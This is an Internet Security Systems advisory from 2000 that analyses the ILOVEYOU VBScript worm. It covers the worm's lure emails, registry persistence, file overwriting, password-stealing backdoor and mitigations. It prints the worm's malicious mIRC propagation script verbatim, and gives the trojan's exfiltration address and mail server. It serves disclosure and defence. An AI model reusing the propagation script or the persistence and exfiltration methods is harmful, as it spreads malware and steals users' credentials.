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Date: Fri, 5 May 100 18:16:49 -0400 (EDT)
Subject: ISSalert: Internet Security Systems Security Alert


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Internet Security Systems Security Alert
May 5, 2000 -- *UPDATED*

"ILOVEYOU" Virus Affects Windows Users

Synopsis:

A dangerous Visual Basic Script (VBScript) virus, dubbed the "ILOVEYOU"
or "LoveLetter" virus, has been spreading itself across the Internet
through email using Microsoft Outlook and Internet Relay Chat (IRC) via
mIRC, a popular chat client for Windows. The virus is susceptible to
activation whenever the Windows Scripting Host (WSH) features are
enabled.

Impact:

Mail servers may incur mild to severe overloading and could crash when
flooded with an unexpected number of the ILOVEYOU messages. The actual
VBScript code performs a number of destructive tasks:

 - Modifies and creates various Windows registry entries.

 - Launches Internet Explorer to download a backdoor program which, once
installed, captures network passwords and emails this data to an account
in the Philippines.

 - Infects the local machine by creating many new copies of itself and
overwriting data files of specific file types (including VBScript, JPEG,
and JavaScript).

 - Spreads itself to other users by using information from the Microsoft
Outlook Address Book, as well as mIRC's DCC feature, which allows chat
participants to exchange files

Description:

Visual Basic Scripts can be executed if Windows Scripting Host (WSH) is
installed and enabled. Windows Scripting Host is installed by default
with Windows 98 and with Internet Explorer version 4.0 and later.   

The original version of the virus was spread as follows:

Subject: ILOVEYOU
Body: kindly check the attached LOVELETTER coming from me.
Attachment: LOVE-LETTER-FOR-YOU.TXT.vbs

Internet Security Systems has become aware of several other variants of
this virus as shown below. Please note that modifying the virus is
trivial and that new versions may be distributed at any time.

Subject: fwd: Joke
Attachment: Very Funny.vbs

Subject: Susitikim shi vakara kavos puodukui...
Body: kindly check the attached LOVELETTER coming from me.
Attachment: LOVE-LETTER-FOR-YOU.TXT.vbs

Subject: Mothers Day Order Confirmation
Body: We have proceeded to charge your credit card for the amount of
$326.92 for the mothers day diamond special. We have attached a detailed
invoice to this email. Please print out the attachment and keep it in a
safe place. Thanks Again and Have a Happy Mothers Day!
mothersday@subdimension.com
Attachment: mothersday.vbs

When the attachment is opened, the malicious VBScript code launches,
performing the following operations in sequence:

 - The virus removes the timeout associated with the Windows scripting
unit by changing the value of the "HKEY_CURRENT_USER\Software\Microsoft\
Windows Scripting Host\Settings\Timeout" registry key.

 - The virus copies itself to SYSTEMDIR\MSKernel32.vbs,
WINDIR\Win32DLL.vbs, and SYSTEMDIR\LOVE-LETTER-FOR-YOU.TXT.vbs.

 - The following registry entries are created under HKEY_LOCAL_MACHINE,
such that the MSKernel32.vbs and Win32DLL.vbs copies will be launched at
boot-time:

  \Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
  \Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL

  Win32DLL.vbs is created as a service.

 - An HTML file named LOVE-LETTER-FOR-YOU.HTM is created for later use
(in the mIRC script) and placed in the Windows SYSTEMDIR. Typically,
WINDIR is C:\WINDOWS and SYSTEMDIR is C:\WINDOWS\SYSTEM.

 - The virus attempts to spread itself via e-mail using Microsoft
Outlook. It sends a message to all addresses found in every address
book. Each individual is flagged in the registry after they have been
sent a copy.
 
For each address list that is found, a counter is kept in the registry
to track the number of users that have been mailed. The number of email
addresses in the address list is also recorded. If the number of
addresses in the list increases, the virus will enumerate the
individuals again and send out the "ILOVEYOU" mail to those who have not
previously received it.

All flags are kept in HKEY_CURRENT_USER\Software\Microsoft\WAB.

 - The virus uses Internet Explorer to connect one of four HTTP web
locations in an attempt to download a backdoor program called
WIN-BUGSFIX.EXE. This backdoor program captures any network passwords it
identifies and automatically emails this information to a mail account
in the Philippines, presumably controlled by the author of the virus.

The original download locations for the WIN-BUGSFIX.EXE file seem to be
invalid. Be aware that modified versions of the virus may point to
valid copies of the backdoor, so this is still a threat.

Before Internet Explorer is launched, the following registry entry,
which sets the Internet Explorer start page, is changed to one of four
URLs at random:

  \Software\Microsoft\Internet Explorer\Main\Start Page

After the executable is downloaded, the start page value is set to
"about:blank".

The Mother's Day variation of the virus does not attempt to install the
backdoor, but does modify the Internet Explorer start page.

 - The following registry entry is created (under HKEY_LOCAL_MACHINE) to
launch WIN-BUGSFIX.EXE at boot-time:

  \Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX.EXE

 - The virus identifies any local or network drives connected to
the system and recursively visits each folder, overwriting files of any
of the following extensions with a copy of itself, changing the
extension to ".vbs" and deleting the original file:

  vbs - Visual Basic Script
  vbe - Visual Basic Script (Encoded)
  js  - JavaScript
  jse - JavaScript (Encoded)
  css - Cascading Style Sheets
  wsh - Windows Scripting Host
  sct - Scriptlet file
  hta - HTML Application

The virus deletes any ".jpg" and ".jpeg" compressed image files, and
replaces a copy of the virus with ".vbs" appended to the end of the
original file name. The Mother's Day variation of the virus removes
files of type ".ini" (Windows script files) and ".bat" (DOS batch files)
instead of ".jpg" and ".jpeg".

Original copies of any MP3 or MP2 audio files found are preserved, but a
copy of the virus is created using the same file name with ".vbs"
appended. The original MP2/MP3 file's attributes will be changed so the
file is hidden.
  
 - If any of the files "mirc32.exe", "mlink32.exe", "mirc.ini",
"script.ini", or "mirc.hlp" are found, a new default initialization
script named "script.ini" is created in the same directory:

  [script]
  ;mIRC Script
  ;  Please dont edit this script... mIRC will corrupt, if mIRC will
  ;  corrupt... WINDOWS will affect and will not run correctly. thanks
  ;
  ;Khaled Mardam-Bey
  ;http://www.mirc.com
  ;
  n0=on 1:JOIN:#:{
  n1=  /if ( $nick == $me ) { halt }
  n2=  /.dcc send $nick &dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
  n3=}

This script will attempt to send a copy of the pre-generated HTML page
to any user who is seen joining any channel you are in on IRC.

Recommendations:

Everyone should obtain and install the latest virus definition files for
their virus scanning software. Mail administrators should filter out any
email that has a .VBS attachment, or at least any mail with a subject
line of "ILOVEYOU".

ISS' SAFEsuite intrusion detection and response system, RealSecure, can
be configured to detect the ILOVEYOU virus by creating a new User Defined
Event. Set the priority to HIGH, and the context to Email_Content. Set the
search string to "kindly check the attached LOVELETTER coming from me".
Select the actions to RSKILL, and  any additional action you would like.
This should stop any incoming email containing the virus from being
delivered to an SMTP server. RS can also be modified to detect and kill
the ILU virus destined to a POP server. In addition to the steps above,
the policy file template must be modified using a text editor. In the
SMTP field of the \template\protocol section add the POP ports to SMTP
definitions. This section is shown below:

[\template\protocols\];
http	=S	80;
ftp	=S	21;
smtp	=S	25, 109-110;
pop	=S	109-110;
imap	=S	143 220;
nntp	=S	119;
[\template\userdefinedsignatures\];
Repeat for each variant of the virus as described above.

Windows Scripting Host can be disabled in Windows 98 as follows: From
the Control Panel, double-click "Add/Remove Programs". Click the
"Windows Setup" tab and double-click on "Accessories". Scroll down if
necessary and uncheck the box beside "Windows Scripting Host". Click
"OK" and the Accessories dialog box will disappear. Now click the
"Apply" button from the Add/Remove Programs Properties. Windows will
now uninstall Windows Scripting Host from the system.

The WIN-BUGSFIX.EXE program attempts to connect to port 25 of IP
address 199.108.232.1 to deliver the captured passwords. The message
that is sent is as follows:

To: mailme@super.net.ph
Subject: Barok... email.passwords.sender.trojan
X-Mailer: Barok... email.passwords.sender.trojan---by: spyder

Host: kakker
Username: Default
IP Address: 10.67.101.123

RAS Passwords:

Cache Passwords:

BLABLA\MPM : xxx
BJORN\MUSIC : xxx
TOM\SHARED : xxx
TOM2\MP3 : xxx
www.server.com/ : xxx:xxx
MAPI : MAPI

The "xxx" represent the plaintext usernames and passwords captured by the
WIN-BUGSFIX.EXE program.

Trend Micro's instructions for removing the virus from your system can
be found at
http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=VBS_LOVELETTER

Additional Information:

For more information on the ILOVEYOU virus, visit the following web
sites:

http://europe.datafellows.com/v-descs/love.htm
http://vil.mcafee.com/dispVirus.asp?virus_k=98617
http://www.securityfocus.com/templates/archive.pike?list=1&date=2000-05-01&msg=20000504121550.B20905@securityfocus.com
http://www.sarc.com/avcenter/venc/data/vbs.loveletter.a.html

_______

About Internet Security Systems (ISS) 
Internet Security Systems (ISS) is a leading global provider of security
management solutions for the Internet. By providing industry-leading
SAFEsuite security software, remote managed security services, and
strategic consulting and education offerings, ISS is a trusted security
provider to its customers, protecting digital assets and ensuring safe
and uninterrupted e-business. ISS' security management solutions protect
more than 5,500 customers worldwide including 21 of the 25 largest U.S.
commercial banks, 10 of the largest telecommunications companies and
over 35 government agencies. Founded in 1994, ISS is headquartered in
Atlanta, GA, with additional offices throughout North America and
international operations in Asia, Australia, Europe, Latin America and
the Middle East. For more information, visit the Internet Security
Systems web site at www.iss.net or call 888-901-7477.

Copyright (c) 2000 by Internet Security Systems, Inc.

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Disclaimer

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
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Please send suggestions, updates, and comments to: X-Force
xforce@iss.net of Internet Security Systems, Inc.



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